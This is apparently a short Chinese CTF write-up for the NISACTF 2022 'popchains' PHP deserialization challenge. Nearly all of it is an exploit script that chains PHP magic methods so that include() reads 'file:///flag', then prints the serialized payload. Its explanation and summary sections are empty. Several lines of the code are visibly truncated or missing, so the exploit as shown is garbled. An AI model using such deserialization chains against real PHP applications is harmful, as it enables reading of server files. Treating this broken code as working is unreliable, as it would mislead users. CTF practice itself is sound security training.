0%

这题 flag 在哪里

2025-03-13 03:02By
xnjdzhoupeng
反序列化PHPPHP伪协议

Problem: [NISACTF 2022]popchains

思路

  • 这题 flag 在哪里?

EXP

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
file;
}
public function __toString(){//3
return $this->string->page;
}

public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {//4,新对象 echo "You can Not Enter 2022"; $this->page = "index.php"; } }

}

class Try_Work_Hard{
protected $var='file:///flag';
public function append($value){//0
include($value);
}
public function __invoke(){//1,对象调用为函数时
this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){//2 $function = $this->effort; return $function(); }

}

$twh=new Try_Work_Hard;
$mkc=new Make_a_Change;
$rl= new Road_is_Long;
twh;
mkc;
$rl1= new Road_is_Long;
rl;
echo serialize($rl1);
echo "\r\n";
echo urlencode(serialize($rl1));

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论